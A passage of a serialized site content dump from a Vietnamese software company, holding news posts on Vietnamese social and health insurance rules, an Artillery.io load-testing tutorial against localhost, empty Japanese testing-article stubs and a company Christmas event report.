age.",[11,2412,2413],{},[20,2414,1696],{},[203,2416,2417,2424,2431],{},[34,2418,2419],{},[55,2420,2423],{"href":2421,"rel":2422},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FNghi-quyet-93-2015-QH13-thuc-hien-chinh-sach-huong-bao-hiem-xa-hoi-mot-lan-doi-voi-nguoi-lao-dong-282360.aspx?tab=7",[59],"Resolution 93\u002F2015\u002FQH13",[34,2425,2426],{},[55,2427,2430],{"href":2428,"rel":2429},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FNghi-dinh-115-2015-ND-CP-huong-dan-Luat-bao-hiem-xa-hoi-bat-buoc-279974.aspx",[59],"Decree 115\u002F2015\u002FND-CP",[34,2432,2433],{},[55,2434,2437],{"href":2435,"rel":2436},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FLuat-Bao-hiem-xa-hoi-2014-259700.aspx",[59],"Law on Social insurance",{"title":66,"searchDepth":67,"depth":67,"links":2439},[],"2021-08-09","Currently, the Covid-19 pandemic has negatively impacted the whole society, including the mass loss of jobs. When the stable monthly income source was lost, many people chose to receive the one-time social insurance benefit. So, in case the employees quit their job and enjoy the one-time social insurance benefit, when they join a new company and pay social insurance from zero, will the employee still receive the social insurance allowance again?",{},"\u002Fnews\u002Fbao-hiem-xa-hoi-mot-lan-nguoi-lao-dong-co-the-nhan-nhieu-lan-khong",{"title":2373,"description":2441},"news\u002Fbao-hiem-xa-hoi-mot-lan-nguoi-lao-dong-co-the-nhan-nhieu-lan-khong","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F07\u002F20131502\u002FBHXHMotLanCoTheNhanNhieuLanKhong.png","MS3d9H6W6yF10OEldk3etTbjcGiU17xOY1fdq8mpacc",{"id":2449,"title":2450,"body":2451,"category":69,"created by":70,"date":2543,"description":2544,"extension":72,"meta":2545,"navigation":74,"path":2546,"sections":76,"seo":2547,"stem":2548,"thumbnail":2549,"__hash__":2550},"content_en\u002Fnews\u002Fbhxh-viet-nam-ban-hanh-mau-the-bhyt-moi.md","VIETNAM SOCIAL SECURITY ISSUES A NEW HEALTH INSURANCE CARD",{"type":8,"value":2452,"toc":2541},[2453,2456,2460,2469,2474,2477,2506,2510,2514,2519,2527,2530,2534],[11,2454,2455],{},"On December 3rd, 2020, the General Director of Vietnam Social Security signed Decision No. 1666 \u002F QD-BHXH promulgating the form of health insurance card for using nationwide. This Decision takes effect from April 1st, 2021.",[438,2457],{"className":2458,"alt":66,"src":2459,"style":506},[441,442],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F05\u002F20133000\u002FM%E1%BA%B7t-tr%C6%B0%E1%BB%9Bc-300x194.png",[11,2461,2468],{"className":2462},[2463,2464,2465,2466,2467],"text-center","text-sm","text-black","italic","-mt-2","\n  The front of the new health insurance card template\n",[11,2470,2471],{},[20,2472,2473],{},"1. Add more gadgets",[11,2475,2476],{},"Compared with the current model of health insurance card, the new model has many differences that bring many benefits to the participants, specifically:",[31,2478,2479,2482,2485,2488,2500,2503],{},[34,2480,2481],{},"The size of the card is more compact, the appearance is better (the size is the same as that of a citizen's identity card and some ATM cards today), convenient to keep and fit in the wallet.",[34,2483,2484],{},"The paper weight of the card is thicker and is covered with plastic: it helps increase the durability and hardness of the card, meets the requirements of long-term preservation, avoids water, moisture, mold, crumbling, tearing, translucent ink when using.",[34,2486,2487],{},"Change the font: clearly, easy to read, easy to check, and limit errors in the information printed on the card.",[34,2489,2490,2491,2495,2496,1673],{},"The new card number is 10 characters of the participant's social insurance code (replacing the 15 characters of the current health insurance card number). Purpose: to reduce the number of characters the participant needs to declare when looking up on the Vietnam Social Security Portal (",[55,2492,2493],{"href":2493,"rel":2494},"http:\u002F\u002Fbaohiemxahoi.gov.vn",[59],") or when checking on the Public Service Portal of Vietnam Social Security (",[55,2497,2498],{"href":2498,"rel":2499},"https:\u002F\u002Fdichvucong.baohiemxahoi.gov.vn",[59],[34,2501,2502],{},"The new card model uses session signs of Vietnam Social Security and the scanned signature of the Head of the Contribution Collection - Insurance Book and Card Department (or the head of the unit under the social insurance authority assigned by the General Director of Vietnam Social Security to sign the order) helps the participant to conveniently carry out the procedures for re-issuance or change of card due to the loss or damage of the card at any social insurance agency nationwide.",[34,2504,2505],{},"The back of the new card model has more instructions on how to use the health insurance card, helping the participants know how to look up information about the health insurance card and their benefits. Understand how to contact the social insurance agency for guidance and support all difficulties related to the card and card usage.",[438,2507],{"className":2508,"alt":66,"src":2509,"style":506},[441,442],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F05\u002F20133000\u002FM%E1%BA%B7t-sau-300x193.png",[11,2511,2513],{"className":2512},[2463,2464,2465,2466,2467],"\n  The back of the new health insurance card template\n",[11,2515,2516],{},[20,2517,2518],{},"2. The current health insurance card is still valid and continues to be used for medical treatment",[31,2520,2521,2524],{},[34,2522,2523],{},"The health insurance card issued is still valid and used for medical examination and treatment under health insurance normally.",[34,2525,2526],{},"Beside the entitlement code and the code where the person lives is still printed on the new model health insurance card, from April 1, 2021, when doing a lookup on the portal of the Health Insurance Inspection Information System and the Portal Online Vietnam Social Security, employees can know more information as follows:-> Other management information such as: code of the person who pays health insurance, address of residence, ... of the participant.",[11,2528,2529],{},"➜ The period of exemption from co-payment within the scope of health insurance benefits when going for medical care at the right level (when the participant has been determined by the social insurance agency to have full 5 years of continuous health insurance participation and has the amount of payment for medical care costs for the year greater than 6 months base salary).",[11,2531,2532,212],{},[20,2533,201],{},[11,2535,2536],{},[55,2537,2540],{"href":2538,"rel":2539},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002Fbao-hiem\u002FQuyet-dinh-1666-QD-BHXH-2020-mau-the-bao-hiem-y-te-458650.aspx",[59],"Decision on Issuing model of health insurance card",{"title":66,"searchDepth":67,"depth":67,"links":2542},[],"2021-03-05","On December 3rd, 2020, the General Director of Vietnam Social Security signed Decision No. 1666 \u002F QD-BHXH promulgating the form of health insurance card for using nationwide. This Decision takes effect from April 1st, 2021. The front of the new health insurance card template   1. Add more gadgets Compared with the current model of health insurance card, the new model has many differences that bring many benefits to the participants",{},"\u002Fnews\u002Fbhxh-viet-nam-ban-hanh-mau-the-bhyt-moi",{"title":2450,"description":2544},"news\u002Fbhxh-viet-nam-ban-hanh-mau-the-bhyt-moi","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F01\u002F15143126\u002FBNXHVN-ban-h%C3%A0nh-m%E1%BA%ABu-th%E1%BA%BB-BHYT-m%E1%BB%9Bi.png","uJMjrtagewIvVTlnpRCG2lwh7pbcXHzqQcQzMqOfn8c",{"id":2552,"title":2553,"body":2554,"category":262,"created by":70,"date":2560,"description":259,"extension":72,"meta":2561,"navigation":74,"path":2562,"sections":76,"seo":2563,"stem":2564,"thumbnail":2565,"__hash__":2566},"content_en\u002Fnews\u002Fcac-cap-do-kiem-thu-phan-mem.md","(日本語) テストレベルについて",{"type":8,"value":2555,"toc":2558},[2556],[11,2557,259],{},{"title":66,"searchDepth":67,"depth":67,"links":2559},[],"2024-12-11",{},"\u002Fnews\u002Fcac-cap-do-kiem-thu-phan-mem",{"title":2553,"description":259},"news\u002Fcac-cap-do-kiem-thu-phan-mem","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F12\u002F10162638\u002FScreenshot-2024-12-10-162335.png","-9OJNud7w4cWloYqNL9THVXFRCbynglYPd9UKdBckFA",{"id":2568,"title":2569,"body":2570,"category":262,"created by":70,"date":2576,"description":259,"extension":72,"meta":2577,"navigation":74,"path":2578,"sections":76,"seo":2579,"stem":2580,"thumbnail":2581,"__hash__":2582},"content_en\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-1.md","基本的なテストプロセスにおけるテストの活動・Part 1",{"type":8,"value":2571,"toc":2574},[2572],[11,2573,259],{},{"title":66,"searchDepth":67,"depth":67,"links":2575},[],"2024-11-05",{},"\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-1",{"title":2569,"description":259},"news\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-1","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F11\u002F06171307\u002FScreenshot-2024-11-06-171247.png","fbeCopQlILHWsE5Fv62VT0ZFC0s_wAQn3EY4W199J24",{"id":2584,"title":2585,"body":2586,"category":262,"created by":70,"date":2592,"description":259,"extension":72,"meta":2593,"navigation":74,"path":2594,"sections":76,"seo":2595,"stem":2596,"thumbnail":2597,"__hash__":2598},"content_en\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-2.md","基本的なテストプロセスにおけるテストの活動・Part 2",{"type":8,"value":2587,"toc":2590},[2588],[11,2589,259],{},{"title":66,"searchDepth":67,"depth":67,"links":2591},[],"2024-11-13",{},"\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-2",{"title":2585,"description":259},"news\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-2","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F11\u002F12144300\u002FScreenshot-2024-11-12-144235.png","nNg3UoZXEtTUSgLzzqQdnX4X7YlNvNqSlBc1JZ25Gn0",{"id":2600,"title":2601,"body":2602,"category":262,"created by":70,"date":2608,"description":259,"extension":72,"meta":2609,"navigation":74,"path":2610,"sections":76,"seo":2611,"stem":2612,"thumbnail":2613,"__hash__":2614},"content_en\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-3.md","基本的なテストプロセスにおけるテストの活動・Part 3",{"type":8,"value":2603,"toc":2606},[2604],[11,2605,259],{},{"title":66,"searchDepth":67,"depth":67,"links":2607},[],"2024-11-19",{},"\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-3",{"title":2601,"description":259},"news\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-3","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F11\u002F18162231\u002FScreenshot-2024-11-18-162139.png","kKrPErBiJieX6IFuUpgxsPZUy-tHp1AGCVCXziI-6gU",{"id":2616,"title":2617,"body":2618,"category":262,"created by":70,"date":2624,"description":259,"extension":72,"meta":2625,"navigation":74,"path":2626,"sections":76,"seo":2627,"stem":2628,"thumbnail":2629,"__hash__":2630},"content_en\u002Fnews\u002Fcac-loai-kiem-thu.md","(日本語) テストタイプ",{"type":8,"value":2619,"toc":2622},[2620],[11,2621,259],{},{"title":66,"searchDepth":67,"depth":67,"links":2623},[],"2024-12-31",{},"\u002Fnews\u002Fcac-loai-kiem-thu",{"title":2617,"description":259},"news\u002Fcac-loai-kiem-thu","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F12\u002F27161540\u002FScreenshot-2024-12-27-161517.png","ODVLrD8GfgC7IlfnYPo-ZsVXybGixXd7swXB7_dUJiM",{"id":2632,"title":2633,"body":2634,"category":262,"created by":70,"date":2640,"description":259,"extension":72,"meta":2641,"navigation":74,"path":2642,"sections":76,"seo":2643,"stem":2644,"thumbnail":2645,"__hash__":2646},"content_en\u002Fnews\u002Fcach-su-dung-hieu-qua-cong-cu-kiem-thu.md","(日本語) テストツールの効果的な使い方",{"type":8,"value":2635,"toc":2638},[2636],[11,2637,259],{},{"title":66,"searchDepth":67,"depth":67,"links":2639},[],"2025-03-10",{},"\u002Fnews\u002Fcach-su-dung-hieu-qua-cong-cu-kiem-thu",{"title":2633,"description":259},"news\u002Fcach-su-dung-hieu-qua-cong-cu-kiem-thu","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F02\u002F21170849\u002FScreenshot-2025-02-21-170733.png","JYNTUmtrPT6vDSxN3RplHJc8l5aaRHKPF4u0mkP43SY",{"id":2648,"title":2649,"body":2650,"category":262,"created by":70,"date":2923,"description":2924,"extension":72,"meta":2925,"navigation":74,"path":2926,"sections":76,"seo":2927,"stem":2928,"thumbnail":2929,"__hash__":2930},"content_en\u002Fnews\u002Fchay-load-test-performance-test-voi-artillery.md","Run load test\u002Fperformance test with Artillery",{"type":8,"value":2651,"toc":2902},[2652,2656,2660,2663,2670,2674,2677,2681,2684,2687,2691,2694,2698,2700,2703,2709,2715,2718,2724,2728,2735,2741,2744,2748,2751,2757,2760,2764,2770,2773,2777,2781,2784,2788,2791,2797,2800,2806,2810,2813,2819,2822,2825,2829,2832,2838,2841,2852,2855,2858,2872,2878,2882,2885,2888,2892],[403,2653,2655],{"id":2654},"introduction","Introduction",[565,2657,2659],{"id":2658},"what-is-performance-testing-and-why-should-you-do-a-load-test","What is performance testing? And why should you do a load test?",[11,2661,2662],{},"Performance testing is software testing that evaluates how well an application performs under different workloads.",[11,2664,2665,2666,2669],{},"This involves measuring various metrics such as response time, bandwidth, and scalability to ensure that the application can handle the expected number of requests from users without degrading performance or crashing. ",[20,2667,2668],{},"Performance testing"," can also identify performance issues and bottlenecks, it helps you make necessary changes to optimize performance. The goal of this is to ensure that the application delivers a smooth, fast, and reliable user experience even under heavy load conditions.",[565,2671,2673],{"id":2672},"about-artilleryio","About Artillery.io",[11,2675,2676],{},"Artillery.io is an open-source performance testing tool that allows you to test the performance and scalability of your web applications, APIs, and microservices. You can simulate real user behavior, generate load from multiple sources, and test your application flow according to the scenario.",[565,2678,2680],{"id":2679},"supported-protocols","Supported protocols",[11,2682,2683],{},"Artillery.io is written in Node.js and supports HTTP, Websocket, and socket.io protocols.",[11,2685,2686],{},"Also, you can use Artillery’s plugin to test another stack like HLS (HTTP Live Streaming), Amazon Kinesis, Apache Kafka, etc.",[565,2688,2690],{"id":2689},"script-formatting","Script formatting",[11,2692,2693],{},"Unlike other popular testing tools, Artillery.io provides a flexible YAML-based syntax for defining your load-testing scenarios. It also supports a JSON format.",[403,2695,2697],{"id":2696},"install-basic-features","Install & Basic features",[565,2699,1816],{"id":1813},[11,2701,2702],{},"You can globally install Artillery.io via npm or yarn by following this command:",[605,2704,2707],{"className":2705,"code":2706,"language":610},[608],"#npm\nnpm install -g artillery\n\n",[612,2708,2706],{"__ignoreMap":66},[605,2710,2713],{"className":2711,"code":2712,"language":610},[608],"#yarn\nyarn global add artillery\n\n",[612,2714,2712],{"__ignoreMap":66},[11,2716,2717],{},"or you can also install it as a dev dependency of a Node.js project with:",[605,2719,2722],{"className":2720,"code":2721,"language":610},[608],"npm install -D artillery\n",[612,2723,2721],{"__ignoreMap":66},[565,2725,2727],{"id":2726},"fast-test","Fast test",[11,2729,2730,2731,712],{},"Use the quick subcommand so that you can run a test without writing a test script. For example, to run 10 virtual users (VUs), each of them makes 20 requests to the address ",[55,2732,2733],{"href":2733,"rel":2734},"http:\u002F\u002Flocalhost:3000\u002F",[59],[605,2736,2739],{"className":2737,"code":2738,"language":610},[608],"artillery quick -c 10 -n 20 http:\u002F\u002Flocalhost:3000\u002Fapi\u002Fuser\n",[612,2740,2738],{"__ignoreMap":66},[11,2742,2743],{},"The -c parameter specifies the total number of VUs, and the -n indicates the number of requests per VU.",[565,2745,2747],{"id":2746},"run-a-test-script","Run a test script",[11,2749,2750],{},"The run subcommand runs a test script from the local machine. The basic way to run a test is with:",[605,2752,2755],{"className":2753,"code":2754,"language":610},[608],"artillery run script.yaml -o report.json\n",[612,2756,2754],{"__ignoreMap":66},[11,2758,2759],{},"The -o parameter is the option to write a JSON report to a file.",[565,2761,2763],{"id":2762},"export-report","Export report",[605,2765,2768],{"className":2766,"code":2767,"language":610},[608],"artillery report report.json -o report.html\n",[612,2769,2767],{"__ignoreMap":66},[11,2771,2772],{},"The report subcommand allows converting the JSON report generated by the run subcommand into a new HTML report.",[438,2774],{"className":2775,"alt":66,"src":2776,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F05\u002F09143906\u002Ftest-create-user.png",[403,2778,2780],{"id":2779},"writing-a-simple-load-test","Writing a simple load test",[11,2782,2783],{},"In the tutorial below we will use YAML syntax, first we need to create a file name like “script.yml”, then we start by defining the “config” section at the top of a file.",[565,2785,2787],{"id":2786},"config-section","Config Section",[11,2789,2790],{},"We need to set the base URL for your test script with the target option:",[605,2792,2795],{"className":2793,"code":2794,"language":610},[608],"config:\n  target: \"http:\u002F\u002Flocalhost:3000\u002Fapi\"\n",[612,2796,2794],{"__ignoreMap":66},[11,2798,2799],{},"Next, we'll start to define the load phase, a load phase defines how Artillery generates new VUs in a specified time period:",[605,2801,2804],{"className":2802,"code":2803,"language":610},[608],"config:\n  ...\n  phases:\n    - duration: 60\n      arrivalRate: 100\n",[612,2805,2803],{"__ignoreMap":66},[565,2807,2809],{"id":2808},"scenarios-section","Scenarios Section",[11,2811,2812],{},"We can define one or more scenarios. Each scenario definition is an object which requires a flow attribute.",[605,2814,2817],{"className":2815,"code":2816,"language":610},[608],"scenarios:\n  - name: \"Get All Users\"\n    flow:\n      - get:\n          url: \"\u002Fuser\"\n          qs:\n            limit: 10\n            offset: 20\n",[612,2818,2816],{"__ignoreMap":66},[11,2820,2821],{},"In the ‘flow’ property, we continue to define the HTTP method as an object attribute, then we need to define the path of the API, we also can set a query string or set form body like URL-encoded forms, Multipart forms or JSON.",[11,2823,2824],{},"Save the scripts and then run your test script.",[403,2826,2828],{"id":2827},"realistic-user-flows","Realistic User Flows",[11,2830,2831],{},"For example, a user flow could be:",[605,2833,2836],{"className":2834,"code":2835,"language":610},[608],"config:\n  target: \"http:\u002F\u002Flocalhost:3000\u002Fapi\"\n  phases:\n    - duration: 120\n      arrivalRate: 10\n      name: \"Preparing\"\n    - duration: 240\n      arrivalRate: 30\n      rampTo: 100\n      name: \"Increasing\"\n    - duration: 600\n      arrivalRate: 100\n      name: \"Sustained Load\"\n  payload:\n    path: \"login.csv\"\n    cast: false\n    fields:\n      - \"user\"\n      - \"pass\"\n  processor: \".\u002Fprocessor.js\"\n\nbefore:\n  flow:\n    - log: \"Get auth token\"\n    - post:\n        url: \"\u002Fauth\u002Flogin\"\n        json:\n          username: \"{{user}}\"\n          password: \"{{pass}}\"\n        capture:\n          - json: $.tokens.accessToken\n            as: token\nscenarios:\n  - name: \"Search Users\"\n    flow:\n      - get:\n          url: \"\u002Fuser\"\n          headers:\n            authorization: \"Bearer {{ token }}\"\n  - name: \"Create New User\"\n    flow:\n      - post:\n          url: \"\u002Fuser\"\n          beforeRequest: \"setJsonBody\"\n          headers:\n            authorization: \"Bearer {{ token }}\"\n",[612,2837,2835],{"__ignoreMap":66},[11,2839,2840],{},"In the above script, we have three phases in the configuration:",[31,2842,2843,2846,2849],{},[34,2844,2845],{},"The first phase creates 10 VUs per second and sends them to the application for 2 minutes.",[34,2847,2848],{},"In the second phase, the load test will start at 30 users per second and gradually increase to 100 users per second over 4 minutes.",[34,2850,2851],{},"The final phase simulates a sustained load of 100 users per second for 10 minutes.",[11,2853,2854],{},"By using multiple phases allows you to accurately simulate realistic traffic scenarios and evaluate your application's ability to handle a sudden barrage of requests.",[11,2856,2857],{},"In the first flow of scenarios, each of the VUs requests GET | \"Search user\", then in the second flow they'll request POST | \"Create user\".",[11,2859,2860,2861,2864,2865,2868,2869,2871],{},"To make it easy to generate data. In this way, before executing the request. We use the ",[20,2862,2863],{},"setJsonBody"," function on the custom hook ",[20,2866,2867],{},"beforeRequest",", The function ",[20,2870,2863],{}," is defined in the processor.js file referenced in config.processor.",[605,2873,2876],{"className":2874,"code":2875,"language":610},[608],"# processor.js\nconst { faker } = require(\"@faker-js\u002Ffaker\");\n\nfunction setJsonBody(requestParams, context, ee, next) {\n  var body = {\n    username: faker.internet.userName(),\n    password: faker.internet.password(3),\n    email: faker.internet.exampleEmail(),\n    name: faker.name.fullName(),\n    role: faker.datatype.number({ min: 0, max: 1 }),\n  };\n\n  requestParams.json = body;\n  return next();\n}\n\nmodule.exports = {\n  setJsonBody,\n};\n",[612,2877,2875],{"__ignoreMap":66},[403,2879,2881],{"id":2880},"compare-to-k6-load-testing","Compare to K6 load testing",[11,2883,2884],{},"Artillery and k6 are both open-source tools for performance testing and have similar features such as extensibility, integration with CI\u002FCD tools, and the ability to set test patterns. However, there are some differences between them. Artillery is written in Node.js while k6 is written in Go. So, Artillery is slower than k6, because it isn't multithreaded and uses more memory. Here are the charts comparing memory usage between k6 with Artillery and other tools.",[11,2886,2887],{},"In conclusion, Artillery and k6 are both powerful tools. However, k6 has more advantages than Artillery. If you want to write a simple load test, Artillery is a good solution that uses YAML syntax.",[403,2889,2891],{"id":2890},"references","References",[11,2893,2894,507,2898],{},[55,2895,2896],{"href":2896,"rel":2897},"https:\u002F\u002Fwww.artillery.io\u002F",[59],[55,2899,2900],{"href":2900,"rel":2901},"https:\u002F\u002Fk6.io\u002Fblog\u002Fcomparing-best-open-source-load-testing-tools\u002F",[59],{"title":66,"searchDepth":67,"depth":67,"links":2903},[2904,2910,2916,2920,2921,2922],{"id":2654,"depth":67,"text":2655,"children":2905},[2906,2907,2908,2909],{"id":2658,"depth":1306,"text":2659},{"id":2672,"depth":1306,"text":2673},{"id":2679,"depth":1306,"text":2680},{"id":2689,"depth":1306,"text":2690},{"id":2696,"depth":67,"text":2697,"children":2911},[2912,2913,2914,2915],{"id":1813,"depth":1306,"text":1816},{"id":2726,"depth":1306,"text":2727},{"id":2746,"depth":1306,"text":2747},{"id":2762,"depth":1306,"text":2763},{"id":2779,"depth":67,"text":2780,"children":2917},[2918,2919],{"id":2786,"depth":1306,"text":2787},{"id":2808,"depth":1306,"text":2809},{"id":2827,"depth":67,"text":2828},{"id":2880,"depth":67,"text":2881},{"id":2890,"depth":67,"text":2891},"2023-08-07","Performance testing is software testing that evaluates how well an application performs under different workloads. This involves measuring various metrics such as response time, bandwidth, and scalability to ensure that the application can handle the expected number of requests from users without degrading performance or crashing. Performance testing can also identify performance issues and bottlenecks, it helps you make necessary changes to optimize performance. The goal of this is to ensure that the application delivers a smooth, fast, and reliable user experience even under heavy load conditions.",{},"\u002Fnews\u002Fchay-load-test-performance-test-voi-artillery",{"title":2649,"description":2924},"news\u002Fchay-load-test-performance-test-voi-artillery","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F05\u002F09143246\u002Fartillery.png","L7b2ITUBfc1iRqkjETIHk1aKrl0XkfwZt61JRvabgec",{"id":2932,"title":2933,"body":2934,"category":2999,"created by":3000,"date":3001,"description":2938,"extension":72,"meta":3002,"navigation":74,"path":3003,"sections":76,"seo":3004,"stem":3005,"thumbnail":3006,"__hash__":3007},"content_en\u002Fnews\u002Fcompany-event-thang-12-2023.md","Company Event in 12\u002F2023",{"type":8,"value":2935,"toc":2997},[2936,2939,2942,2946,2949,2953,2956,2960,2963,2967,2970,2978,2986,2994],[11,2937,2938],{},"The year-end magic of Christmas has arrived, bringing with it a wonderland of sparkling spaces and vibrant cheer. To fully embrace this joyful atmosphere, Briswell Vietnam hosted a special Christmas event for all our employees, to immerse themselves in the festive spirit.",[11,2940,2941],{},"The event's space was adorned with warm, twinkling lights, classic Christmas hues of red and green, and familiar symbols like jolly Santa and towering Christmas trees. This cozy and colorful scene buzzed with anticipation as everyone eagerly awaited the festivities.",[438,2943],{"className":2944,"alt":66,"src":2945,"style":471},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F12\u002F02105702\u002FChristmas-tree-Edited-Edited-Edited-e1704174850223.jpg",[11,2947,2948],{},"The event unfolded with a series of engaging games, designed to bring laughter and lighthearted fun. The \"Christmas Music Game\" quickly became the highlight, its simple yet addictive gameplay drawing in everyone. Divided into teams, employees put their musical knowledge to the test, guessing song titles as festive tunes filled the air. The atmosphere crackled with friendly competition as teams showcased their musical memory and solidarity, ultimately leading to one team's triumphant win and a well-deserved prize. Adding to the Christmas cheer, all the songs were classic carols, infusing the game with an extra layer of warmth and nostalgia.",[438,2950],{"className":2951,"alt":66,"src":2952,"style":471},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02110238\u002FIMG_9557-1024x768.jpg",[11,2954,2955],{},"Next up was the \"Pirate Adventure,\" a thrilling battle of luck and skill. Each round saw team members using toy swords to stab pirate barrels, hoping to avoid sending the pirate figure soaring. Three rounds of suspenseful battles later, one team emerged victorious, their strategy and a touch of luck earning them a special reward. This game not only brought excitement and laughter but also fostered teamwork and a competitive spirit, creating unforgettable memories for all.",[438,2957],{"className":2958,"alt":66,"src":2959,"style":471},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02110654\u002Fz5014809043946_6aad3c2aac1f0c513fd27a416100c151.jpg",[11,2961,2962],{},"The office buzzed with infectious energy, filled with the sounds of laughter and joyful chatter. Everyone was actively engaged, participating in the games and soaking in the cheery spirit. The joy wasn't just about winning; it was about the sense of connection and belonging that comes from being part of a large, merry family.",[438,2964],{"className":2965,"alt":66,"src":2966,"style":471},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02110827\u002Ffood-1-768x827.jpg",[11,2968,2969],{},"Of course, no celebration is complete without delicious treats! The event had a spread of yummy snacks and drinks, providing the perfect fuel for fun conversations and shared laughter.",[11,2971,2972,2976],{},[438,2973],{"className":2974,"alt":66,"src":2975,"style":471},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02111028\u002FIMG_9550-1024x768.jpg",[473,2977],{},[11,2979,2980,2984],{},[438,2981],{"className":2982,"alt":66,"src":2983,"style":471},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02110938\u002FIMG_9547-768x1024.jpg",[473,2985],{},[11,2987,2988,2992],{},[438,2989],{"className":2990,"alt":66,"src":2991,"style":471},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02111012\u002FIMG_9552-1024x768.jpg",[473,2993],{},[11,2995,2996],{},"This wasn't just an event; it was a chance to bask in the magic of Christmas, strengthen bonds between colleagues, and create memories that will last a lifetime. As the merry time draws to a close, we at Briswell Vietnam carry the warmth of this event close to our hearts, knowing that the true joy of Christmas lies in the connections we forge and the shared moments of laughter and cheer.",{"title":66,"searchDepth":67,"depth":67,"links":2998},[],"event","THANH PHAM NGOC GIANG","2024-01-05",{},"\u002Fnews\u002Fcompany-event-thang-12-2023",{"title":2933,"description":2938},"news\u002Fcompany-event-thang-12-2023","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02143531\u002FMerry-Christmas-Card-1.png","3x_at5FHPZb7vqA1COwWGZD8Jk90dxnJMAlfdolhyPA",{"id":3009,"title":3010,"body":3011,"category":262,"created by":70,"date":2640,"description":259,"extension":72,"meta":3017,"navigation":74,"path":3018,"sections":76,"seo":3019,"stem":3020,"thumbnail":3021,"__hash__":3022},"content_en\u002Fnews\u002Fcong-cu-kiem-thu.md","(日本語) テストツール",{"type":8,"value":3012,"toc":3015},[3013],[11,3014,259],{},{"title":66,"searchDepth":67,"depth":67,"links":3016},[],{},"\u002Fnews\u002Fcong-cu-kiem-thu",{"title":3010,"description":259},"news\u002Fcong-cu-kiem-thu","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F02\u002F21170758\u002FScreenshot-2025-02-21-170538.png","08OgvN97frnUVGbrNH8AW_9yovYuc6c1Y9Nsq_lj9Vg",{"id":3024,"title":3025,"body":3026,"category":69,"created by":70,"date":3203,"description":3204,"extension":72,"meta":3205,"navigation":74,"path":3206,"sections":76,"seo":3207,"stem":3208,"thumbnail":3209,"__hash__":3210},"content_en\u002Fnews\u002Fcong-viec-cua-it-com-o-briswell-vietnam.md","CHECK OUT IT-COM POSITION AT BRISWELL VIETNAM",{"type":8,"value":3027,"toc":3201},[3028,3031,3034,3050,3053,3059,3066,3072,3075,3092,3095,3112,3118,3124,3129,3134,3140,3175,3181,3184,3191,3194],[11,3029,3030],{},"Recent years, along with the rapid development of the IT (Information Technology) industry, the demand for human resources for the IT industry such as developer, etc. has also increased. Especially in developed countries like Japan.",[11,3032,3033],{},"More and more Japanese software development companies are exploiting IT personnel from developing countries like Vietnam under the form of Outsourcing or building offshore 